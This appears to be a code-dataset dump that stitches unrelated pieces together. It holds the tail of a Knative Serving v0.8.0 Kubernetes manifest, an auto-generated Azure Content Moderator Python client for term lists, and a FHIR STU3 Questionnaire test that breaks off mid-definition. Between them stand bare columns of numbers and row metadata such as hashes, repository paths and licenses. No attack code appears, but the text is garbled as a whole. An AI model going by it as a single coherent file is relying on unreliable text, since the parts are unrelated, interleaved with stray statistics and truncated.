"timeKey": "ts", "levelKey": "level", "nameKey": "logger", "callerKey": "caller", "messageKey": "msg", "stacktraceKey": "stacktrace", "lineEnding": "", "levelEncoder": "", "timeEncoder": "iso8601", "durationEncoder": "", "callerEncoder": "" } } # Log level overrides # For all components except the autoscaler and queue proxy, # changes are be picked up immediately. # For autoscaler and queue proxy, changes require recreation of the pods. loglevel.controller: "info" loglevel.autoscaler: "info" loglevel.queueproxy: "info" loglevel.webhook: "info" loglevel.activator: "info" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.8.0" name: config-logging namespace: knative-serving --- apiVersion: v1 data: _example: | clusteringress.class: "ambassador.ingress.networking.knative.dev" certificate.class: "cert-manager.certificate.networking.internal.knative.dev" # domainTemplate specifies the golang text template string to use # when constructing the Knative service's DNS name. The default # value is "{{.Name}}.{{.Namespace}}.{{.Domain}}". And those three # values (Name, Namespace, Domain) are the only variables defined. # # Changing this value might be necessary when the extra levels in # the domain name generated is problematic for wildcard certificates # that only support a single level of domain name added to the # certificate's domain. In those cases you might consider using a value # of "{{.Name}}-{{.Namespace}}.{{.Domain}}", or removing the Namespace # entirely from the template. When choosing a new value be thoughtful # of the potential for conflicts - for example, when users choose to use # characters such as `-` in their service, or namespace, names. # {{.Annotations}} can be used for any customization in the go template if needed. # We strongly recommend keeping namespace part of the template to avoid domain name clashes # Example '{{.Name}}-{{.Namespace}}.{{ index .Annotations "sub"}}.{{.Domain}}' # and you have an annotation {"sub":"foo"}, then the generated template would be {Name}-{Namespace}.foo.{Domain} domainTemplate: "{{.Name}}.{{.Namespace}}.{{.Domain}}" # tagTemplate specifies the golang text template string to use # when constructing the DNS name for "tags" within the traffic blocks # of Routes and Configuration. This is used in conjunction with the # domainTemplate above to determine the full URL for the tag. tagTemplate: "{{.Name}}-{{.Tag}}" # Controls whether TLS certificates are automatically provisioned and # installed in the Knative ingress to terminate external TLS connection. # 1. Enabled: enabling auto-TLS feature. # 2. Disabled: disabling auto-TLS feature. autoTLS: "Disabled" # Controls the behavior of the HTTP endpoint for the Knative ingress. # It requires autoTLS to be enabled. # 1. Enabled: The Knative ingress will be able to serve HTTP connection. # 2. Disabled: The Knative ingress ter will reject HTTP traffic. # 3. Redirected: The Knative ingress will send a 302 redirect for all # http connections, asking the clients to use HTTPS httpProtocol: "Enabled" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.8.0" name: config-network namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # logging.enable-var-log-collection defaults to false. # The fluentd daemon set will be set up to collect /var/log if # this flag is true. logging.enable-var-log-collection: false # logging.revision-url-template provides a template to use for producing the # logging URL that is injected into the status of each Revision. # This value is what you might use the the Knative monitoring bundle, and provides # access to Kibana after setting up kubectl proxy. logging.revision-url-template: | http://localhost:8001/api/v1/namespaces/knative-monitoring/services/kibana-logging/proxy/app/kibana#/discover?_a=(query:(match:(kubernetes.labels.serving-knative-dev%2FrevisionUID:(query:'${REVISION_UID}',type:phrase)))) # If non-empty, this enables queue proxy writing request logs to stdout. # The value determines the shape of the request logs and it must be a valid go text/template. # It is important to keep this as a single line. Multiple lines are parsed as separate entities # by most collection agents and will split the request logs into multiple records. # # The following fields and functions are available to the template: # # Request: An http.Request (see https://golang.org/pkg/net/http/#Request) # representing an HTTP request received by the server. # # Response: # struct { # Code int // HTTP status code (see https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml) # Size int // An int representing the size of the response. # Latency float64 // A float64 representing the latency of the response in seconds. # } # # Revision: # struct { # Name string // Knative revision name # Namespace string // Knative revision namespace # Service string // Knative service name # Configuration string // Knative configuration name # PodName string // Name of the pod hosting the revision # PodIP string // IP of the pod hosting the revision # } # logging.request-log-template: '{"httpRequest": {"requestMethod": "{{.Request.Method}}", "requestUrl": "{{js .Request.RequestURI}}", "requestSize": "{{.Request.ContentLength}}", "status": {{.Response.Code}}, "responseSize": "{{.Response.Size}}", "userAgent": "{{js .Request.UserAgent}}", "remoteIp": "{{js .Request.RemoteAddr}}", "serverIp": "{{.Revision.PodIP}}", "referer": "{{js .Request.Referer}}", "latency": "{{.Response.Latency}}s", "protocol": "{{.Request.Proto}}"}, "traceId": "{{index .Request.Header "X-B3-Traceid"}}"}' # metrics.backend-destination field specifies the system metrics destination. # It supports either prometheus (the default) or stackdriver. # Note: Using stackdriver will incur additional charges metrics.backend-destination: prometheus # metrics.request-metrics-backend-destination specifies the request metrics # destination. If non-empty, it enables queue proxy to send request metrics. # Currently supported values: prometheus, stackdriver. metrics.request-metrics-backend-destination: prometheus # metrics.stackdriver-project-id field specifies the stackdriver project ID. This # field is optional. When running on GCE, application default credentials will be # used if this field is not provided. metrics.stackdriver-project-id: "<your stackdriver project id>" # metrics.allow-stackdriver-custom-metrics indicates whether it is allowed to send metrics to # Stackdriver using "global" resource type and custom metric type if the # metrics are not supported by "knative_revision" resource type. Setting this # flag to "true" could cause extra Stackdriver charge. # If metrics.backend-destination is not Stackdriver, this is ignored. metrics.allow-stackdriver-custom-metrics: "false" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.8.0" name: config-observability namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # # If true we enable adding spans within our applications. enable: "false" # URL to zipkin collector where traces are sent. zipkin-endpoint: "http://zipkin.istio-system.svc.cluster.local:9411/api/v2/spans" # Enable zipkin debug mode. This allows all spans to be sent to the server # bypassing sampling. debug: "false" # Percentage (0-1) of requests to trace sample-rate: "0.1" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.8.0" name: config-tracing namespace: knative-serving --- apiVersion: apps/v1 kind: Deployment metadata: labels: serving.knative.dev/release: "v0.8.0" name: controller namespace: knative-serving spec: replicas: 1 selector: matchLabels: app: controller template: metadata: labels: app: controller serving.knative.dev/release: "v0.8.0" spec: containers: - env: - name: SYSTEM_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace - name: CONFIG_LOGGING_NAME value: config-logging - name: CONFIG_OBSERVABILITY_NAME value: config-observability - name: METRICS_DOMAIN value: knative.dev/serving image: gcr.io/knative-releases/knative.dev/serving/cmd/controller@sha256:3b096e55fa907cff53d37dadc5d20c29cea9bb18ed9e921a588fee17beb937df name: controller ports: - containerPort: 9090 name: metrics resources: limits: cpu: 1000m memory: 1000Mi requests: cpu: 100m memory: 100Mi securityContext: allowPrivilegeEscalation: false serviceAccountName: controller --- apiVersion: apiregistration.k8s.io/v1beta1 kind: APIService metadata: labels: autoscaling.knative.dev/metric-provider: custom-metrics serving.knative.dev/release: "v0.8.0" name: v1beta1.custom.metrics.k8s.io spec: group: custom.metrics.k8s.io groupPriorityMinimum: 100 insecureSkipTLSVerify: true service: name: autoscaler namespace: knative-serving version: v1beta1 versionPriority: 100 --- apiVersion: apps/v1 kind: Deployment metadata: labels: serving.knative.dev/release: "v0.8.0" name: webhook namespace: knative-serving spec: replicas: 1 selector: matchLabels: app: webhook role: webhook template: metadata: annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" labels: app: webhook role: webhook serving.knative.dev/release: "v0.8.0" spec: containers: - env: - name: SYSTEM_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace - name: CONFIG_LOGGING_NAME value: config-logging - name: CONFIG_OBSERVABILITY_NAME value: config-observability - name: METRICS_DOMAIN value: knative.dev/serving image: gcr.io/knative-releases/knative.dev/serving/cmd/webhook@sha256:c2076674618933df53e90cf9ddd17f5ddbad513b8c95e955e45e37be7ca9e0e8 name: webhook ports: - containerPort: 9090 name: metrics-port resources: limits: cpu: 200m memory: 200Mi requests: cpu: 20m memory: 20Mi securityContext: allowPrivilegeEscalation: false serviceAccountName: controller --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.8.0" name: configurations.serving.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.latestCreatedRevisionName name: LatestCreated type: string - JSONPath: .status.latestReadyRevisionName name: LatestReady type: string - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: serving.knative.dev names: categories: - all - knative - serving kind: Configuration plural: configurations shortNames: - config - cfg singular: configuration scope: Namespaced subresources: status: {} versions: - name: v1alpha1 served: true storage: true --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.8.0" name: revisions.serving.knative.dev spec: additionalPrinterColumns: - JSONPath: .metadata.labels['serving\\.knative\\.dev/configuration'] name: Config Name type: string - JSONPath: .status.serviceName name: K8s Service Name type: string - JSONPath: .metadata.labels['serving\\.knative\\.dev/configurationGeneration'] name: Generation type: string - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: serving.knative.dev names: categories: - all - knative - serving kind: Revision plural: revisions shortNames: - rev singular: revision scope: Namespaced subresources: status: {} versions: - name: v1alpha1 served: true storage: true --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.8.0" name: routes.serving.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.url name: URL type: string - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: serving.knative.dev names: categories: - all - knative - serving kind: Route plural: routes shortNames: - rt singular: route scope: Namespaced subresources: status: {} versions: - name: v1alpha1 served: true storage: true --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.8.0" name: services.serving.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.url name: URL type: string - JSONPath: .status.latestCreatedRevisionName name: LatestCreated type: string - JSONPath: .status.latestReadyRevisionName name: LatestReady type: string - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: serving.knative.dev names: categories: - all - knative - serving kind: Service plural: services shortNames: - kservice - ksvc singular: service scope: Namespaced subresources: status: {} versions: - name: v1alpha1 served: true storage: true """
26.972541
533
0.660861
11,159
101,174
5.980643
0.082714
0.031766
0.030313
0.032006
0.931179
0.919941
0.912823
0.908733
0.900656
0.88299
0
0.025819
0.238194
101,174
3,750
534
26.979733
0.840039
0.000633
0
0.937254
0
0.009567
0.996103
0.201606
0
0
0
0
0
1
0
false
0.000563
0.000563
0
0.000563
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
6159733e2ced153b7e2ff5f53c221fa364f0767e
10,872
py
Python
azure-cognitiveservices-vision-contentmoderator/azure/cognitiveservices/vision/contentmoderator/operations/list_management_term_operations.py
v-Ajnava/azure-sdk-for-python
a1f6f80eb5869c5b710e8bfb66146546697e2a6f
[ "MIT" ]
4
2016-06-17T23:25:29.000Z
2022-03-30T22:37:45.000Z
azure-cognitiveservices-vision-contentmoderator/azure/cognitiveservices/vision/contentmoderator/operations/list_management_term_operations.py
v-Ajnava/azure-sdk-for-python
a1f6f80eb5869c5b710e8bfb66146546697e2a6f
[ "MIT" ]
2
2016-09-30T21:40:24.000Z
2017-11-10T18:16:18.000Z
azure-cognitiveservices-vision-contentmoderator/azure/cognitiveservices/vision/contentmoderator/operations/list_management_term_operations.py
v-Ajnava/azure-sdk-for-python
a1f6f80eb5869c5b710e8bfb66146546697e2a6f
[ "MIT" ]
3
2016-05-03T20:49:46.000Z
2017-10-05T21:05:27.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.pipeline import ClientRawResponse from .. import models class ListManagementTermOperations(object): """ListManagementTermOperations operations. :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. """ models = models def __init__(self, client, config, serializer, deserializer): self._client = client self._serialize = serializer self._deserialize = deserializer self.config = config def add_term( self, list_id, term, language, custom_headers=None, raw=False, **operation_config): """Add a term to the term list with list Id equal to list Id passed. :param list_id: List Id of the image list. :type list_id: str :param term: Term to be deleted :type term: str :param language: Language of the terms. :type language: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: object or ClientRawResponse if raw=true :rtype: object or ~msrest.pipeline.ClientRawResponse :raises: :class:`APIErrorException<azure.cognitiveservices.vision.contentmoderator.models.APIErrorException>` """ # Construct URL url = '/contentmoderator/lists/v1.0/termlists/{listId}/terms/{term}' path_format_arguments = { 'baseUrl': self._serialize.url("self.config.base_url", self.config.base_url, 'str', skip_quote=True), 'listId': self._serialize.url("list_id", list_id, 'str'), 'term': self._serialize.url("term", term, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['language'] = self._serialize.query("language", language, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send(request, header_parameters, stream=False, **operation_config) if response.status_code not in [201]: raise models.APIErrorException(self._deserialize, response) deserialized = None if response.status_code == 201: deserialized = self._deserialize('object', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def delete_term( self, list_id, term, language, custom_headers=None, raw=False, **operation_config): """Deletes a term from the list with list Id equal to the list Id passed. :param list_id: List Id of the image list. :type list_id: str :param term: Term to be deleted :type term: str :param language: Language of the terms. :type language: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`APIErrorException<azure.cognitiveservices.vision.contentmoderator.models.APIErrorException>` """ # Construct URL url = '/contentmoderator/lists/v1.0/termlists/{listId}/terms/{term}' path_format_arguments = { 'baseUrl': self._serialize.url("self.config.base_url", self.config.base_url, 'str', skip_quote=True), 'listId': self._serialize.url("list_id", list_id, 'str'), 'term': self._serialize.url("term", term, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['language'] = self._serialize.query("language", language, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct and send request request = self._client.delete(url, query_parameters) response = self._client.send(request, header_parameters, stream=False, **operation_config) if response.status_code not in [204]: raise models.APIErrorException(self._deserialize, response) deserialized = None if response.status_code == 204: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_all_terms( self, list_id, language, offset=None, limit=None, custom_headers=None, raw=False, **operation_config): """Gets all terms from the list with list Id equal to the list Id passed. :param list_id: List Id of the image list. :type list_id: str :param language: Language of the terms. :type language: str :param offset: The pagination start index. :type offset: int :param limit: The max limit. :type limit: int :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: Terms or ClientRawResponse if raw=true :rtype: ~azure.cognitiveservices.vision.contentmoderator.models.Terms or ~msrest.pipeline.ClientRawResponse :raises: :class:`APIErrorException<azure.cognitiveservices.vision.contentmoderator.models.APIErrorException>` """ # Construct URL url = '/contentmoderator/lists/v1.0/termlists/{listId}/terms' path_format_arguments = { 'baseUrl': self._serialize.url("self.config.base_url", self.config.base_url, 'str', skip_quote=True), 'listId': self._serialize.url("list_id", list_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['language'] = self._serialize.query("language", language, 'str') if offset is not None: query_parameters['offset'] = self._serialize.query("offset", offset, 'int') if limit is not None: query_parameters['limit'] = self._serialize.query("limit", limit, 'int') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, stream=False, **operation_config) if response.status_code not in [200]: raise models.APIErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('Terms', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def delete_all_terms( self, list_id, language, custom_headers=None, raw=False, **operation_config): """Deletes all terms from the list with list Id equal to the list Id passed. :param list_id: List Id of the image list. :type list_id: str :param language: Language of the terms. :type language: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`APIErrorException<azure.cognitiveservices.vision.contentmoderator.models.APIErrorException>` """ # Construct URL url = '/contentmoderator/lists/v1.0/termlists/{listId}/terms' path_format_arguments = { 'baseUrl': self._serialize.url("self.config.base_url", self.config.base_url, 'str', skip_quote=True), 'listId': self._serialize.url("list_id", list_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['language'] = self._serialize.query("language", language, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct and send request request = self._client.delete(url, query_parameters) response = self._client.send(request, header_parameters, stream=False, **operation_config) if response.status_code not in [204]: raise models.APIErrorException(self._deserialize, response) deserialized = None if response.status_code == 204: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized
40.719101
114
0.651306
1,185
10,872
5.821097
0.12827
0.027834
0.023195
0.013917
0.85532
0.841113
0.822122
0.816324
0.816324
0.807335
0
0.004509
0.245309
10,872
266
115
40.87218
0.836197
0.356236
0
0.730435
0
0
0.11337
0.03534
0
0
0
0
0
1
0.043478
false
0
0.017391
0
0.147826
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
4ee3e1b576d1831a4bbc0ec91f04594aeb14977d
162,561
py
Python
fhir/resources/STU3/tests/test_questionnaire.py
cstoltze/fhir.resources
52f99738935b7313089d89daf94d73ce7d167c9d
[ "BSD-3-Clause" ]
144
2019-05-08T14:24:43.000Z
2022-03-30T02:37:11.000Z
fhir/resources/STU3/tests/test_questionnaire.py
cstoltze/fhir.resources
52f99738935b7313089d89daf94d73ce7d167c9d
[ "BSD-3-Clause" ]
82
2019-05-13T17:43:13.000Z
2022-03-30T16:45:17.000Z
fhir/resources/STU3/tests/test_questionnaire.py
cstoltze/fhir.resources
52f99738935b7313089d89daf94d73ce7d167c9d
[ "BSD-3-Clause" ]
48
2019-04-04T14:14:53.000Z
2022-03-30T06:07:31.000Z
# -*- coding: utf-8 -*- """ Profile: http://hl7.org/fhir/StructureDefinition/Questionnaire Release: STU3 Version: 3.0.2 Revision: 11917 Last updated: 2019-10-24T11:53:00+11:00 """ from pydantic.validators import bytes_validator # noqa: F401 from .. import fhirtypes # noqa: F401 from .. import questionnaire def impl_questionnaire_1(inst): assert inst.contained[0].id == "vs2" assert inst.date == fhirtypes.DateTime.validate("2017-04-19T07:44:43+10:00") assert inst.id == "qs1" assert inst.identifier[0].system == "urn:ietf:rfc:3986" assert inst.item[0].item[0].linkId == "display.ID" assert inst.item[0].item[0].type == "display" assert inst.item[0].item[1].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[1].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[1].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[1].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[1].linkId == "display.ID" assert inst.item[0].item[1].text == ( "Demographics and administrative information about a person " "independent of a specific health-related context." ) assert inst.item[0].item[1].type == "display" assert inst.item[0].item[2].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[2].extension[0].valueInteger == 1 assert inst.item[0].item[2].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[2].extension[1].valueString == "string" assert inst.item[0].item[2].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[2].item[0].linkId == "display.ID" assert inst.item[0].item[2].item[0].type == "display" assert inst.item[0].item[2].item[1].linkId == "Person.id.value" assert inst.item[0].item[2].item[1].repeats is False assert inst.item[0].item[2].item[1].required is False assert inst.item[0].item[2].item[1].text == "Logical id of this artifact" assert inst.item[0].item[2].item[1].type == "string" assert inst.item[0].item[2].linkId == "Person.id" assert inst.item[0].item[2].repeats is True assert inst.item[0].item[2].required is False assert inst.item[0].item[2].type == "group" assert inst.item[0].item[3].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[3].extension[0].valueInteger == 1 assert inst.item[0].item[3].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[3].item[0].linkId == "display.ID" assert inst.item[0].item[3].item[0].text == ( "The metadata about the resource. This is content that is " "maintained by the infrastructure. Changes to the content may" " not always be associated with version changes to the " "resource." ) assert inst.item[0].item[3].item[0].type == "display" assert inst.item[0].item[3].linkId == "Person.meta" assert inst.item[0].item[3].repeats is True assert inst.item[0].item[3].required is False assert inst.item[0].item[3].text == "Metadata about the resource" assert inst.item[0].item[3].type == "group" assert inst.item[0].item[4].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[4].extension[0].valueInteger == 1 assert inst.item[0].item[4].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[4].extension[1].valueString == "uri" assert inst.item[0].item[4].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[4].item[0].linkId == "display.ID" assert inst.item[0].item[4].item[0].type == "display" assert inst.item[0].item[4].item[1].linkId == "Person.implicitRules.value" assert inst.item[0].item[4].item[1].repeats is False assert inst.item[0].item[4].item[1].required is False assert ( inst.item[0].item[4].item[1].text == "A set of rules under which this content was created" ) assert inst.item[0].item[4].item[1].type == "string" assert inst.item[0].item[4].linkId == "Person.implicitRules" assert inst.item[0].item[4].repeats is True assert inst.item[0].item[4].required is False assert inst.item[0].item[4].type == "group" assert inst.item[0].item[5].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[5].extension[0].valueInteger == 1 assert inst.item[0].item[5].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[5].extension[1].valueString == "code" assert inst.item[0].item[5].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[5].item[0].linkId == "display.ID" assert inst.item[0].item[5].item[0].type == "display" assert inst.item[0].item[5].item[1].linkId == "Person.language.value" assert inst.item[0].item[5].item[1].repeats is False assert inst.item[0].item[5].item[1].required is False assert inst.item[0].item[5].item[1].text == "language" assert inst.item[0].item[5].item[1].type == "choice" assert inst.item[0].item[5].linkId == "Person.language" assert inst.item[0].item[5].repeats is True assert inst.item[0].item[5].required is False assert inst.item[0].item[5].type == "group" assert inst.item[0].item[6].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[6].extension[0].valueInteger == 1 assert inst.item[0].item[6].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[6].item[0].linkId == "display.ID" assert inst.item[0].item[6].item[0].type == "display" assert inst.item[0].item[6].linkId == "Person.text" assert inst.item[0].item[6].repeats is True assert inst.item[0].item[6].required is False assert ( inst.item[0].item[6].text == "Text summary of the resource, for human interpretation" ) assert inst.item[0].item[6].type == "group" assert inst.item[0].item[7].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[7].item[0].linkId == "display.ID" assert inst.item[0].item[7].item[0].type == "display" assert inst.item[0].item[7].linkId == "Person.contained" assert inst.item[0].item[7].repeats is True assert inst.item[0].item[7].required is False assert inst.item[0].item[7].text == "Contained, inline Resources" assert inst.item[0].item[7].type == "group" assert inst.item[0].item[8].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[0].type == "display" assert inst.item[0].item[8].linkId == "Person.extension" assert inst.item[0].item[8].repeats is True assert inst.item[0].item[8].required is False assert inst.item[0].item[8].text == "Additional Content defined by implementations" assert inst.item[0].item[8].type == "group" assert inst.item[0].item[9].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[9].item[0].linkId == "display.ID" assert inst.item[0].item[9].item[0].type == "display" assert inst.item[0].item[9].linkId == "Person.modifierExtension" assert inst.item[0].item[9].repeats is True assert inst.item[0].item[9].required is False assert inst.item[0].item[9].text == "Extensions that cannot be ignored" assert inst.item[0].item[9].type == "group" assert inst.item[0].linkId == "Person" assert inst.item[0].repeats is True assert inst.item[0].required is False assert inst.item[0].text == "A generic person record" assert inst.item[0].type == "group" assert inst.publisher == "Health Level Seven International (Patient Administration)" assert inst.status == "draft" def test_questionnaire_1(base_settings): """No. 1 tests collection for Questionnaire. Test File: person-questionnaire.json """ filename = base_settings["unittest_data_dir"] / "person-questionnaire.json" inst = questionnaire.Questionnaire.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Questionnaire" == inst.resource_type impl_questionnaire_1(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Questionnaire" == data["resourceType"] inst2 = questionnaire.Questionnaire(**data) impl_questionnaire_1(inst2) def 